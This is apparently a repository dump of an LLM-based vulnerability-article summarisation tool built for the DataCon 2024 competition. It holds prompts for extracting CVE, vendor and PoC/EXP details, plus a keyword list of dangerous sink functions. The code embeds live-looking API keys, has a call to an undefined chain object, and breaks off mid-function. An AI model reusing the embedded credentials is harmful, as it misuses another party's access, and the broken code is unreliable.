[
  {
    "path": "README.md",
    "content": "# datacon24_vuln_wp\nhttps://www.datacon.org.cn/competition/competitions/91/introduction\n\n该项目基于datacon比赛2024年漏洞分析赛道冠军战队0817iotg的完整解题框架，集成了一个基于大模型的自动化漏洞分析系统，内容包括情报提取和漏洞分析两部分内容的可执行docker压缩包以及相关功能说明\n\n## 一、情报提取\n\n### 1.1问题描述  \n\n在进行漏洞挖掘工作时，对特定目标的历史漏洞挖掘经验的学习是至关重要的一步。然而，传统的搜索引擎在面对海量数据时往往显得效率低下，难以快速有效地获取所需的关键信息。近年来，随着人工智能大模型技术的发展及其在自然语言处理方面的显著进步，利用大模型从海量漏洞分析文章中提取关键知识已经成为一种可行的方法。 本挑战要求选手利用大模型技术，对漏洞分析文章进行高效梳理，从中提取出有价值的摘要信息，任务包括但不限于：文献整理、文本预处理、关键信息提取、摘要生成、结果验证等。\n\n\n### 1.2核心思路\n![image1](https://github.com/user-attachments/assets/62b038d9-8666-414c-8f2d-5f04fb246188)\n\n- 相关内容的源码位于task1_source_code目录下，主功能文件为test.py, test_examples目录下为该任务的部分测试数据集\n- 使用BeautifulSoup4解析html文件，去除图片等无用信息。\n- 运用提示工程方法生成精细化提示，拆分输出维度，使用两次大模型调用分别判定不同输出维度\n- 运用投票模型检查结果，减少大模型输出内容的不确定性，并且去除不合理结果\n- 扩展框架功能与识别范围，使其能够识别版本、修复建议；提取POC/EXP代码；以及支持图片内容识别\n\n\n### 1.3主要功能\n- 1、能够调用大模型api对漏洞文章中的多维度信息进行自动的批量化提取，提取的信息维度包括文件名、漏洞编号、厂商或产品名、编程语言、是否有漏洞成因分析、危险函数名、是否有 POC/EXP、是否有 POC/EXP 解释\n- 2、在功能1的基础上进一步对文章中的潜在POC/EXP进行判断并提取，在task1_source_code目录下的appendix.py文件中实现了相关功能\n- 3、能够对漏洞文章中的图片信息进行识别并提取，在task1_source_code目录下的pic_expand.py文件中实现了相关功能\n\n\n\n\n## 二、漏洞挖掘\n\n### 2.1问题描述  \n\n漏洞挖掘是网络安全工作中不可或缺的一环，但传统的审计方法耗时耗力，且静态分析技术存在一定的局限性。随着人工智能技术特别是大模型的发展，通过对代码中的语义进行深度分析，实现更为精准的漏洞挖掘已经成为可能。这种新型的技术手段不仅提高了漏洞检测的准确性，还极大地提升了工作效率。 本题要求选手自行编写程序，并结合大模型技术自动化识别出漏洞样例中存在的安全隐患。具体任务包括：知识提取、代码分析、漏洞识别、误报消除等。通过本次比赛，参赛者不仅能够积累漏洞模式增强自身的漏洞挖掘能力，还能深入了解大模型在漏洞检测领域的应用前景。这不仅有助于提高个人的网络安全技术水平，也为未来网络安全工具的研发提供了新的思路。\n\n\n### 2.2核心思路\n![image](https://github.com/user-attachments/assets/35efa6c1-df41-4f45-b841-e64c93050d33)\n\n- 相关内容的源码位于task2_source_code目录下，存在两个代码功能版本，first_version目录下为基础版本，其实现的功能为仅通过设计提示词分析题目所提供的7类漏洞；final_version目录下的最终版本，具体功能实现为，在设计提示词的过程中额外加入了一部分已知漏洞信息作为规则，从而提高大模型分析的准确率\n- 根据文件总大小对待分析文件进行排序\n- 过滤无关文件类型，然后根据编程语言进行函数切分\n- 运用多种方法分类进行漏洞查找\n  - 针对代码量过大的工程，使用基于提示工程的初步筛查提取可能包含漏洞的种子函数\n  - 根据函数切分结果与初筛结果提取种子函数内容，根据不同漏洞类型，调用不同子模块进行二次筛查\n    - 针对漏洞模式较为简单的漏洞类型，使用提示工程进行漏洞筛查\n    - 针对漏洞样例种类丰富的漏洞类型，使用RAG技术进行漏洞筛查\n    - 针对其他漏洞类型，结合两种思路，根据测试效果择优选择\n\n\n### 2.3主要功能\n- 1、能够针对复杂情况实现函数级别的切分，能够针对多文件、长代码（上万行）、多语言类型的原始分析样本进行切分处理，并最终通过排序以及多轮提示，将涉及漏洞的代码内容完整地提供给大模型进行分析。\n- 2、能够针对多种不同的漏洞类型（race conditon、sql注入、double-fetch等）进行初筛与分类，并在此基础上选择特定的分析提示词，实现各类漏洞自动化的分析\n- 3、针对已指定的漏洞类型（buff_overflow、command_injection等），通过较为完备的提示词以及置信度分析方法，利用大模型分析出最有可能的漏洞函数\n"
  },
  {
    "path": "task1_source_code/appendix.py",
    "content": "#!/usr/local/bin/python3\n#赛题一的额外维度目标分析，包括版本、POC提取等\nimport requests\nfrom langchain_openai import ChatOpenAI\nfrom langchain_core.messages import HumanMessage, SystemMessage\nfrom langchain.prompts import PromptTemplate,ChatPromptTemplate\nfrom langchain.chains import LLMChain, SimpleSequentialChain\n\nfrom langchain.prompts import (\n    ChatPromptTemplate,\n    PromptTemplate,\n    SystemMessagePromptTemplate,\n    AIMessagePromptTemplate,\n    HumanMessagePromptTemplate\n)\nfrom langchain.output_parsers import StructuredOutputParser, ResponseSchema\nfrom langchain.schema import (\n    AIMessage,\n    HumanMessage,\n    SystemMessage\n)\n\nimport os\nimport json\nimport time\nfrom bs4 import BeautifulSoup\nimport re\n\n# prompt informations\nHumanPrompt = PromptTemplate(\n    template=\"\"\"\n                User question: if given some text and script from a html website, please summarize the following information:\n                Vulnerability ID: The CVE ID corresponding to the vulnerability described in the article, in the format CVE-XXXX-XXXX. If there is no specific ID, it is NULL.\n                Vendor or Product Name: The vendor or product name corresponding to the vulnerability described in the article. If both exist, take the vendor name.\n                Software version number: The version number of the affected product device, usually appears in the form of \"Tested Versions: \".\n                Mitigation recommendations: Guidance on how to mitigate vulnerabilities, usually appears in the form of \"Suggested Mitigations:\".\n                Extracted POC/EXP: Proof of Concept or Exploit extracted from the article, usually appears in the form of \"Proof-of-Concept:\".\n\ns\n                <context>\n                {ocr_result}\n                </context>\n                answer user's question with the information in <context>\n                output format: {format_instructions}\n\n                let us analyse it step by step, give us your analyse procedure, and be careful about the following things:\n                1.Check whether the \"Affected Version(s)\" field and the \"Tested Version(s)\" field exist in the article. If only \"Affected Version(s)\" or only \"Tested Version(s)\" exists, use it as the content of \"Software version number\". If both \"Affected Version(s)\" and \"Tested Version(s)\" exist, use the content of \"Affected Version(s)\" as the content of \"Software version number\".\n                2.Check whether the \"Suggested Mitigations\" or \"Mitigations\" field  exists in the article. If so, use the content of \"Suggested Mitigations\" as the content of \"Mitigation recommendations\".If not, Summarize mitigation suggestions from the article as content of \"Mitigation recommendations\".\n                3.Check whether the \"Proof-of-Concept\" field  exists in the article.If so, use the content of \"Proof-of-Concept\" as the content of \"Extracted POC/EXP\". If not, set field \"Extracted POC/EXP\" as NULL.\n                4.Make sure all fields are fully extracted, especially \"Proof-of-Concept\".\n                5.Output all the extracted fields in a complete JSON format without using referential sentences such as \"See the Python script provided above.\"\n            \"\"\",\n    input_variables=[\"ocr_result\",\"format_instructions\"]\n)\nSystemPrompt = PromptTemplate(\n    template=\"You are a cyber security engineer whose job is to look at vulnerability disclosure websites and summarize vulnerability information, you have the knowledge about CVE, poc(proof of concept) and exp(exploit), know all kinds of common-used programming language, and can read both English and Chinese.\",\n)\n\nvender_str=\"PHP;Linksys;Google;Asus;华夏;Mongoose;OFFICE;Mail GPU;SnakeYAML;WebKit;Microsoft;OpenCart;Cajviewer;ZZCMS;Linux;Askey;Oracle;Github;Calibre;Typora;Bitrix24;bluetooth_stack;Foxit;Netgear;SolarWinds;TP-Link;Samsung;Adobe;Singtel;Acrobat;CS-Cart;Tesla;Apple;SEACMS;Shopware;Gitlab;Chamilo;Windows;LMS;Juniper;Qemu;OwnCloud;NULL;ChamiloLMS;Confluence;Apache;D-Link;F5;Prolink;Trend;Icecast;Hancom;Schneider;Mikrotik;Netatalk;NodeBB;Ivanti;Openwrt;Huawei;Dolibarr;KMPlayer;Android;EXIM;MarkText;Cisco;Razer;Obsidian;然之;Fortinet;Sudo\"\n\nprogram_str=\"JAVA;PHP;JAVASCRIPT;NULL;PYTHON;C;HTML;SHELL;C#;TYPESCRIPT;ASP;RUBY;C++\"\n\nsink_str=\"gets;scanf;strcpy;strcat;sprintf;vsprintf;stpcpy;wcscpy;memcpy;memmove;memset;printf;fprintf;vprintf;vfprintf;fscanf;fgets;input;array.array;eval;system;popen;exec;execl;execlp;execve;execvp;fork;os.system;subprocess.Popen;subprocess.call;subprocess.run;Runtime.exec;Runtime.getRuntime().exec;shell_exec;passthru;proc_open;do_system;mysql_query;mysqli_query;pg_query;sqlite3.execute;sqlite3_exec;psycopg2.execute;ActiveRecord.find_by_sql;prepare;unserialize;pickle.load;pickle.loads;cPickle.load;cPickle.loads;ObjectInputStream.readObject;Marshal.load;YAML.load;BinaryFormatter.Deserialize;Storable::thaw;open;fopen;readfile;file_get_contents;include;require;chmod;chown;os.chmod;os.chown;setuid;setgid;chroot;sleep;wait;tmpnam;tmpfile;tempnam;tempfile.mktemp;malloc;free;close;dup;ShellExecute;CreateProcess;strcpy;strcat;stpcpy;wcscpy;ActiveRecord.find_by_sql\"\n\n#output\nresponse_schemas = [\n    # ResponseSchema(name=\"cve\", description=\"Vulnerability ID\"),\n    # ResponseSchema(name=\"vendor\", description=\"Vendor or Product Name\"),\n    # ResponseSchema(name=\"language\", description=\"Programming Language\"),\n    # ResponseSchema(name=\"trace_language\", description=\"Backtrace Lanuage\"),\n    # ResponseSchema(name=\"is_cause\", description=\"Is Cause Analysis\"),\n    # ResponseSchema(name=\"function\", description=\"Dangerous Function Name\"),\n    # ResponseSchema(name=\"is_POC\", description=\"Is POC/EXP\"),\n    # ResponseSchema(name=\"is_explain\", description=\"Is POC/EXP Explanation\"),\n    # ResponseSchema(name=\"is_related\", description=\"Is Related\"),\n    ResponseSchema(name=\"version\", description=\"Software version number\"),\n    ResponseSchema(name=\"Recommendations\", description=\"Mitigation recommendations\"),\n    ResponseSchema(name=\"POC/EXP\", description=\"Extracted POC/EXP\"),\n]\n\n\ndef extract_text_from_html(html_file_path):\n    # 读取HTML文件\n    with open(html_file_path, 'r', encoding='utf-8') as file:\n        html_content = file.read()\n\n    # 使用BeautifulSoup解析HTML\n    soup = BeautifulSoup(html_content, 'html.parser')\n\n    for unwanted_tag in soup(['script', 'style', 'noscript', 'header', 'footer']):\n        unwanted_tag.decompose()\n    text = soup.get_text()\n    lines = text.splitlines()\n    non_empty_lines = [line.strip() for line in lines if line.strip()]\n    output_text = \"\\n\".join(non_empty_lines)\n    return output_text\n\n\n\"\"\"\nConnect to the OpenAI API and return the response\n\"\"\"\n# 数据集所在的文件目录\n#data_dir = '/vlun_demo'\ndata_dir = './data'\n# 答案文件保存的目录\n#answer_dir = '/result'\nanswer_dir = './result'\n# 提示词\ninit_prompt = '''你的提示词'''\n\n# chat_template = ChatPromptTemplate.from_messages(\n#     [\n#         (\"system\", \"You are a cyber security engineer whose job is to look at vulnerability disclosure websites and compile vulnerability information.\"),\n#         (\"human\", \"Hello, how are you doing?\"),\n#         (\"ai\", \"I'm doing well, thanks!\"),\n#         (\"human\", \"{user_input}\"),\n#     ]\n# )\n# create SystemMessagePromptTemplate\n\nSystemMessagePrompt = SystemMessagePromptTemplate(prompt=SystemPrompt)\n# create HumanMessagePromptTemplate\n\nHumanMessagePrompt = HumanMessagePromptTemplate(prompt=HumanPrompt)\n# conbine Prompt\nchat_template = ChatPromptTemplate.from_messages([SystemMessagePrompt,HumanMessagePrompt])\n\noutput_parser = StructuredOutputParser.from_response_schemas(response_schemas)\n\nformat_instructions = output_parser.get_format_instructions()\n\ndef read_words_from_file(file_path, num_words):\n    words = []\n    try:\n        with open(file_path, 'r', encoding='utf-8') as file:\n            for line in file:\n                words.extend(line.split())\n                words.append('\\n')\n                if len(words) >= num_words:\n                    break\n        return ' '.join(words[:num_words])\n    except FileNotFoundError:\n        print(f\"File not found: {file_path}\")\n        return \"\"\n    except Exception as e:\n        print(f\"An error occurred: {e}\")\n        return \"\"\n\n\ndef llm_api_test(prompt):\n    llm = ChatOpenAI(\n        streaming=True,\n        verbose=True,\n        # key和base开赛后提供\n        openai_api_key='6ad9127594fa1951b18de59fa8ecb856',\n        openai_api_base='https://poc.qianxin.com',\n        model_name='tq-gpt',\n        timeout=300\n    )\n    chain=LLMChain(llm=llm, prompt=chat_template)\n    try:\n        output = chain.run(ocr_result=prompt,format_instructions=format_instructions,vender_list=vender_str,language_list=program_str)\n        print(output)\n        json_out=output_parser.parse(output)\n        return json_out\n    except Exception as e:\n        print(f\"Request timed out. {e}\")\n        return None\n\ndef func(input, output):\n    root_dir = 'data'\n    \n    files = os.listdir(root_dir)\n\n    # 仅选择数字命名的文件\n    numeric_files = [f for f in files if f.isdigit()]\n\n    # 按数字大小排序文件名\n    sorted_files = sorted(numeric_files, key=int)\n\n    for file in sorted_files:\n        #print(file)\n        file_path = root_dir+'/'+file\n        #print(file_path)\n        result_string = extract_text_from_html(file_path) \n        #print(result_string)\n        json_out=llm_api_test(result_string)\n        while json_out==None:\n            print(\"error: return is None, try again\")\n            json_out=llm_api_test(result_string)\n        \n   \n        print(\"json_out\",json_out)\n        json_str = json.dumps(json_out, indent=4)\n        print(\"json_str\",json_str)\n        with open('output.txt', 'a') as f:\n            f.write(json_str)\n\nif __name__ == '__main__':\n    func(data_dir, answer_dir)"
  },
  {
    "path": "task1_source_code/pic_expand.py",
    "content": "#赛题一的扩展功能，扩展了从html网页文件中直接提取图片的能力\r\nfrom bs4 import BeautifulSoup\r\nimport requests\r\nfrom urllib.parse import urljoin\r\nfrom paddleocr import PaddleOCR, draw_ocr\r\n\r\ndef extract_text_from_html(html_file_path):\r\n    # 读取HTML文件\r\n    image_text=\"\"\r\n    with open(html_file_path, 'r', encoding='utf-8') as file:\r\n        html_content = file.read()\r\n\r\n    # 使用BeautifulSoup解析HTML\r\n    soup = BeautifulSoup(html_content, 'html.parser')\r\n\r\n    base_url = 'https://starlabs.sg'\r\n    # Lists to hold image URLs and base64 images\r\n    image_urls = []\r\n\r\n    # Extract image URLs from <img> tags\r\n    img_tags = soup.find_all('img')\r\n    for img in img_tags:\r\n        src = img.get('src')\r\n        if src:\r\n            if src.startswith('data:image/'):\r\n                # This is a base64 encoded image\r\n                pass\r\n            else:\r\n                # Resolve relative URLs\r\n                full_url = urljoin(base_url, src)\r\n                image_urls.append(full_url)\r\n\r\n    # Extract image URLs from <link> tags that are icons or images\r\n    link_tags = soup.find_all('link', href=True)\r\n    for link in link_tags:\r\n        rel = link.get('rel', [])\r\n        type_attr = link.get('type', '')\r\n        href = link['href']\r\n        if 'icon' in rel or type_attr.startswith('image/'):\r\n            # Resolve relative URLs\r\n            full_url = urljoin(base_url, href)\r\n            image_urls.append(full_url)\r\n\r\n    ocr = PaddleOCR(use_angle_cls=True, lang='en') # need to run only once to download and load model into memory\r\n\r\n    print(\"Image URLs:\")\r\n    for url in image_urls:\r\n        print(url)\r\n        img_path = url\r\n        result = ocr.ocr(img_path, cls=True)\r\n        print(\"parsing result\")\r\n        for idx in range(len(result)):\r\n            res = result[idx]\r\n            for line in res:\r\n                image_text+=line[1][0]\r\n                #print(\"line\",line)\r\n                #print(len(line))\r\n    print(image_text)\r\n\r\n    for unwanted_tag in soup(['script', 'style', 'noscript', 'header', 'footer']):\r\n        unwanted_tag.decompose()\r\n    text = soup.get_text()\r\n    lines = text.splitlines()\r\n    non_empty_lines = [line.strip() for line in lines if line.strip()]\r\n    output_text = \"\\n\".join(non_empty_lines)\r\n    return output_text+image_text\r\n\r\n#extract_text_from_html(\"data/212\")"
  },
  {
    "path": "task1_source_code/test.py",
    "content": "#!/usr/local/bin/python3\nimport requests\nfrom langchain_openai import ChatOpenAI\nfrom langchain_core.messages import HumanMessage, SystemMessage\nfrom langchain.prompts import PromptTemplate,ChatPromptTemplate\nfrom langchain.chains import LLMChain, SimpleSequentialChain\n\nfrom langchain.prompts import (\n    ChatPromptTemplate,\n    PromptTemplate,\n    SystemMessagePromptTemplate,\n    AIMessagePromptTemplate,\n    HumanMessagePromptTemplate\n)\nfrom langchain.output_parsers import StructuredOutputParser, ResponseSchema\nfrom langchain.schema import (\n    AIMessage,\n    HumanMessage,\n    SystemMessage\n)\nimport tiktoken\nimport os\nimport json\nimport time\nfrom bs4 import BeautifulSoup\nimport re\nimport csv\n\n# 数据集所在的文件目录\ndata_dir = '/data'\n#data_dir = './data'\n# 答案文件保存的目录\nanswer_dir = '/result'\n#answer_dir = './result'\nenv_vars = os.environ\nkey_env=env_vars['API_KEY']\nbase_env=env_vars['API_BASE']\n#8bb73128d0b5732a1e0723f922245df8\n#key_env=''\n#base_env='https://poc.qianxin.com'\n# prompt informations\nHumanPromptFormer = PromptTemplate(\n    template=\"\"\"\n                User question: if given some text and script from a html website, please summarize the following information:\n                Vulnerability ID: The CVE ID corresponding to the vulnerability described in the article, in the format CVE-XXXX-XXXX. If there is no specific ID, it is NULL.\n                Vendor or Product Name: The vendor or product name corresponding to the vulnerability described in the article. If both exist, take the vendor name.\n                Programming Language: The programming language used by the object with the vulnerability. If multiple languages are involved, take the language where the vulnerability point is located.\n                Backtrace Lanuage: The programming language suggested by back trace chain or stack trace chain, default is NULL if there is no back trace chain.\n                Is Cause Analysis: Whether the article contains an explanation of the cause of the vulnerability. TRUE if yes, FALSE if no.\n                Dangerous Function: Directly-mentioned dangerous function that triggers the vulnerability described in the article, such as memmove, do_system. If there is no such function, it is NULL.\n                \n                <context>\n                {ocr_result}\n                </context>\n                answer user's question with the information in <context>\n                output format: {format_instructions}\n\n                let us analyse it step by step, give us your analyse procedure, and be careful about the following things:\n                1.if there are many CVE IDs in an article, only output one CVE ID that is most relevant to the text;\n                2.all vendor that you need to check is listed in {vender_list}, different items are separated with ';', NULL means no vender or product name are found;\n                3.\n                4.if many vendors are located, only output one vender that is closed to the CVE ID information and is directly mentioned(eg: output Android instead of Google if find \"Android\" in text but no \"google\" in text);\n                5.all programming languages that you need to check is listed in {language_list}, different items are separated with ';', NULL means no other languages are found, your Programming Language output must be in the list;\n                6.\n                7.If there are many programming languages found, output the language that is most relevant to the vulnerability trigger point(near the Dangerous Function output); \n                8.Dangerous function must be directly mentioned in the text, you can use some content relevant to the dangerous function if it is not directly found(eg: output telnet if there is no system);\n                9.Regard \"Is Cause Analysis\" to be true when the article describes the code near a dangerous function(Attacking codes such as PoC is not this type of code), return FALSE if there are no content about code nearing dangerous function;\n                10.\n                11.\n            \"\"\",\n    input_variables=[\"ocr_result\",\"format_instructions\",\"vender_list\",\"language_list\"]\n)\nHumanPromptLater = PromptTemplate(\n    template=\"\"\"\n                User question: if given some text and script from a html website, please summarize the following information:\n                POC/EXP Presence: Determine if the article contains a Proof of Concept (POC) or exploit code (EXP). If present, output TRUE; otherwise, output FALSE.\n                POC/EXP Explanation: Identify whether the article provides an explanation or commentary about the POC/EXP code. If explanations exist, output TRUE; otherwise, output FALSE.\n                Is Related: Whether the article is related to vulnerability mining. If it is not related to vulnerability mining or does not involve specific vulnerabilities, return FALSE, otherwise, return TRUE.\n\n                <context>\n                {ocr_result}\n                </context>\n                answer user's question with the information in <context>\n                output format: {format_instructions}\n\n\n                let us analyse it step by step, give us your analyse procedure, and be careful about the following things:\n                1. Is related should be TRUE if the article is about a certain vulnerability(eg:has a CVE id);\n                2. Is related should be FALSE if the article describes cyber security, but do not describe vulnerability mining(eg: it describes virus);\n                3. If the article contains a functional code snippet, a series of steps or instructions, or commands that demonstrate how to exploit a vulnerability, carry out an attack, or crash the vulnerable system, mark POC/EXP Presence as TRUE; otherwise, mark it as FALSE.\n\n                4. Step 4.1-4.4 are used for POC/EXP Explanations:\n                4.1 POC/EXP Explanation requires a field-by-field explanation of each parameter or field involved in the POC/EXP, and this explanation must be separate from the POC code block;\n                4.2 The explanation must detail all fields or parameters (e.g., HTTP headers, input parameters, function arguments) and cannot rely on common commands (e.g., telnet, curl) or explain only one field;\n                4.3 If the explanation does not meet these criteria or is not separate from the POC code block, mark POC/EXP Explanation as FALSE;\n                4.4 POC/EXP Explanations are text close to POC/EXP(code itself is not explaination), comment of code is also regarded as explainations.\n\n                5. Focused Analysis:\n                5.1. Pay attention to both the presence of POC/EXP and the presence of explanation.\n                5.2. When POC/EXP Presence is TRUE, verify if there is enough explanation to mark POC/EXP Explanation as TRUE.\n                5.3. If the code is present but lacks detailed explanation or commentary about the specific fields in the POC/EXP, mark POC/EXP Explanation as FALSE.\n\n                6.please ensure that the output json is a legal json file, and output your analyse procedure.\n\n            \"\"\",\n    input_variables=[\"ocr_result\",\"format_instructions\"]\n)\nSystemPrompt = PromptTemplate(\n    template=\"You are a cyber security engineer whose job is to look at vulnerability disclosure websites and summarize vulnerability information, you have the knowledge about CVE, poc(proof of concept) and exp(exploit), know all kinds of common-used programming language, and can read both English and Chinese.\",\n)\n\nvender_str=\"PHP;Linksys;Google;Asus;华夏;Mongoose;OFFICE;Mail GPU;SnakeYAML;WebKit;Microsoft;OpenCart;Cajviewer;ZZCMS;Linux;Askey;Oracle;Github;Calibre;Typora;Bitrix24;bluetooth_stack;Foxit;Netgear;SolarWinds;TP-Link;Samsung;Adobe;Singtel;Acrobat;CS-Cart;Tesla;Apple;SEACMS;Shopware;Gitlab;Chamilo;Windows;LMS;Juniper;Qemu;OwnCloud;NULL;Confluence;Apache;D-Link;F5;Prolink;Trend;Icecast;Hancom;Schneider;Mikrotik;Netatalk;NodeBB;Ivanti;Openwrt;Huawei;Dolibarr;KMPlayer;Android;EXIM;MarkText;Cisco;Razer;Obsidian;然之;Fortinet;Sudo\"\n\nprogram_str=\"JAVA;PHP;JAVASCRIPT;NULL;PYTHON;C;HTML;SHELL;C#;TYPESCRIPT;ASP;RUBY;C++\"\n\nsink_str=\"gets;scanf;strcpy;strcat;sprintf;vsprintf;stpcpy;wcscpy;memcpy;memmove;memset;printf;fprintf;vprintf;vfprintf;fscanf;fgets;input;array.array;eval;system;popen;exec;execl;execlp;execve;execvp;fork;os.system;subprocess.Popen;subprocess.call;subprocess.run;Runtime.exec;shell_exec;proc_open;do_system;ShellExecute;CreateProcess\"\n\n#output\nresponse_schemas_former = [\n    ResponseSchema(name=\"cve\", description=\"Vulnerability ID\"),\n    ResponseSchema(name=\"vendor\", description=\"Vendor or Product Name\"),\n    ResponseSchema(name=\"language\", description=\"Programming Language\"),\n    ResponseSchema(name=\"trace_language\", description=\"Backtrace Lanuage\"),\n    ResponseSchema(name=\"is_cause\", description=\"Is Cause Analysis\"),\n    ResponseSchema(name=\"function\", description=\"Dangerous Function Name\"),\n    #ResponseSchema(name=\"is_POC\", description=\"Is POC/EXP\"),\n    #ResponseSchema(name=\"is_explain\", description=\"Is POC/EXP Explanation\"),\n    #ResponseSchema(name=\"is_related\", description=\"Is Related\"),\n]\nresponse_schemas_later = [\n    #ResponseSchema(name=\"cve\", description=\"Vulnerability ID\"),\n    #ResponseSchema(name=\"vendor\", description=\"Vendor or Product Name\"),\n    #ResponseSchema(name=\"language\", description=\"Programming Language\"),\n    #ResponseSchema(name=\"is_cause\", description=\"Is Cause Analysis\"),\n    #ResponseSchema(name=\"function\", description=\"Dangerous Function Name\"),\n    ResponseSchema(name=\"is_POC\", description=\"Is POC/EXP\"),\n    ResponseSchema(name=\"is_explain\", description=\"Is POC/EXP Explanation\"),\n    ResponseSchema(name=\"is_related\", description=\"Is Related\"),\n]\n\nlength_limit=18000\ndef get_tokenizer(model_name='gpt-3.5-turbo'):\n    encoding = tiktoken.encoding_for_model(model_name)\n    return encoding\n\n# 计算文本的 token 数量\ndef tokenize(text, tokenizer=None):\n    if tokenizer is None:\n        tokenizer = get_tokenizer()\n    \n    # 使用 tokenizer 进行文本编码并返回 token 数量\n    tokens = tokenizer.encode(text)\n    return len(tokens)\n\ndef split_prompt(prompt, max_tokens, tokenizer=None):\n    # 获取tokenizer\n    encoding = tokenizer or get_tokenizer()\n    \n    # 对输入文本进行 token 化\n    prompt_tokens = encoding.encode(prompt)\n    \n    # 仅取前 max_tokens 个 token\n    prompt_tokens = prompt_tokens[:max_tokens]  # 只保留前 max_tokens 个 token\n\n    # 返回 token 数量不超过 max_tokens 的文本块\n    chunks = []\n    if prompt_tokens:\n        chunks.append(encoding.decode(prompt_tokens))\n    \n    return chunks[0]\n\ndef extract_text_from_html(html_file_path):\n    # 读取HTML文件\n    with open(html_file_path, 'r', encoding='utf-8') as file:\n        html_content = file.read()\n\n    # 使用BeautifulSoup解析HTML\n    soup = BeautifulSoup(html_content, 'html.parser')\n\n    for unwanted_tag in soup(['script', 'style', 'noscript', 'header', 'footer']):\n        unwanted_tag.decompose()\n    text = soup.get_text()\n    lines = text.splitlines()\n    non_empty_lines = [line.strip() for line in lines if line.strip()]\n    output_text = \"\\n\".join(non_empty_lines)\n    return output_text\n\n\n\"\"\"\nConnect to the OpenAI API and return the response\n\"\"\"\n\n# 提示词\ninit_prompt = '''你的提示词'''\n\n# chat_template = ChatPromptTemplate.from_messages(\n#     [\n#         (\"system\", \"You are a cyber security engineer whose job is to look at vulnerability disclosure websites and compile vulnerability information.\"),\n#         (\"human\", \"Hello, how are you doing?\"),\n#         (\"ai\", \"I'm doing well, thanks!\"),\n#         (\"human\", \"{user_input}\"),\n#     ]\n# )\n# create SystemMessagePromptTemplate\n\nSystemMessagePrompt = SystemMessagePromptTemplate(prompt=SystemPrompt)\n\n\ndef check_output_regex(output):\n    pattern = r\"maximum context length is 8000 tokens\"\n    if re.search(pattern, output):\n        return 1\n    else:\n        return 0\n\ndef llm_api_test_former(prompt):\n    global length_limit\n    llm = ChatOpenAI(\n        streaming=True,\n        verbose=True,\n        # key和base开赛后提供\n        openai_api_key=key_env,\n        openai_api_base=base_env,\n        model_name='tq-gpt',\n        timeout=300\n    )\n    # create HumanMessagePromptTemplate\n    HumanMessagePrompt = HumanMessagePromptTemplate(prompt=HumanPromptFormer)\n    # conbine Prompt\n    chat_template = ChatPromptTemplate.from_messages([SystemMessagePrompt,HumanMessagePrompt])\n\n    output_parser = StructuredOutputParser.from_response_schemas(response_schemas_former)\n\n    format_instructions = output_parser.get_format_instructions()\n    if len(prompt)>length_limit:\n        prompt = prompt[:length_limit]\n\n    chain=LLMChain(llm=llm, prompt=chat_template)\n    try:\n        output = chain.run(ocr_result=prompt,format_instructions=format_instructions,vender_list=vender_str,language_list=program_str)\n        print(output)\n        json_out=output_parser.parse(output)\n        # AI may regard a content to be None not NULL\n        for i in range(10):\n            if json_out[\"cve\"] and json_out[\"vendor\"] and json_out[\"language\"] and json_out[\"trace_language\"] and json_out[\"is_cause\"] and json_out[\"function\"]:\n                break\n            output = chain.run(ocr_result=prompt,format_instructions=format_instructions,vender_list=vender_str,language_list=program_str)\n            #print(output)\n            json_out=output_parser.parse(output)\n        return json_out\n    except Exception as e:\n        print(f\"Request timed out. {e}\")\n        if check_output_regex(str(e)) == 1:\n            length_limit = length_limit - 2000\n        return None\n\ndef llm_api_test_later(prompt):\n    global length_limit\n    llm = ChatOpenAI(\n        streaming=True,\n        verbose=True,\n        # key和base开赛后提供\n        openai_api_key=key_env,\n        openai_api_base=base_env,\n        model_name='tq-gpt',\n        timeout=300\n    )\n    # create HumanMessagePromptTemplate\n    HumanMessagePrompt = HumanMessagePromptTemplate(prompt=HumanPromptLater)\n    # conbine Prompt\n    chat_template = ChatPromptTemplate.from_messages([SystemMessagePrompt,HumanMessagePrompt])\n\n    output_parser = StructuredOutputParser.from_response_schemas(response_schemas_later)\n\n    format_instructions = output_parser.get_format_instructions()\n    if len(prompt)>length_limit:\n        prompt = prompt[:length_limit]\n    \n    try:\n        output = chain.run(ocr_result=prompt,format_instructions=format_instructions)\n        print(output)\n        json_out=output_parser.parse(output)\n        # AI may regard a content to be None not NULL\n        for i in range(10):\n            if json_out[\"is_POC\"] and json_out[\"is_explain\"] and json_out[\"is_related\"]:\n                break\n            output = chain.run(ocr_result=prompt,format_instructions=format_instructions)\n            json_out=output_parser.parse(output)\n        return json_out\n    except Exception as e:\n        print(f\"Request timed out. {e}\")\n        if check_output_regex(str(e)) == 1:\n            length_limit = length_limit - 2000\n        return None\n\ndef former_once(result_string):\n    global length_limit\n    length_limit = 18000\n    json_out_former=llm_api_test_former(result_string)\n    for i in range(50):\n        if json_out_former!=None:\n            break\n        json_out_former=llm_api_test_former(result_string)\n    print(json_out_former)\n    return json_out_former\n    \ndef later_once(result_string):\n    global length_limit\n    length_limit = 18000\n    json_out_later=llm_api_test_later(result_string)\n    for i in range(50):\n        if json_out_later!=None:\n            break\n        print(\"error: return is None, try again\")\n        json_out_later=llm_api_test_later(result_string)\n    return json_out_later\n\nvender_relations=[\n    (\"OFFICE\", \"Microsoft\"),\n    (\"Askey\", \"Asus\"),\n    (\"Acrobat\", \"Adobe\"),\n    (\"Github\", \"Microsoft\"),\n    (\"Android\", \"Google\"),\n    (\"Confluence\", \"Atlassian\")\n]\ncpp_syms=[\"::\",\"namespace\",\"cpp\",\"templete \",\"class \",\"iostream\",\"catch (std::exception &e)\",\"cin >>\",\"cout <<\",\"virtual \"]\ndef vote_ask(input, output):\n    fout=open(output+\"/res.csv\",'w',newline='')\n    #writer = csv.writer(fout,delimiter=';')\n    root_dir = input\n    \n    files = os.listdir(root_dir)\n\n    # 仅选择数字命名的文件\n    numeric_files = [f for f in files if f.isdigit()]\n\n    # 按数字大小排序文件名\n    sorted_files = sorted(numeric_files, key=int)\n\n    for file in sorted_files:\n        try:\n            print(file)\n            file_path = root_dir+'/'+file\n            print(file_path)\n            result_string = extract_text_from_html(file_path) \n            print(result_string)\n            json_out_former=former_once(result_string)\n            json_out_former2=former_once(result_string)\n            json_out_former3=None\n            vender_list = vender_str.split(';')\n            program_list = program_str.split(';')\n            #vote\n            if json_out_former[\"vendor\"] not in vender_list and json_out_former2[\"vendor\"] in vender_list:\n                json_out_former[\"vendor\"]=json_out_former2[\"vendor\"]\n            elif json_out_former[\"vendor\"] not in vender_list and json_out_former2[\"vendor\"] not in vender_list:\n                json_out_former3=former_once(result_string)\n                if 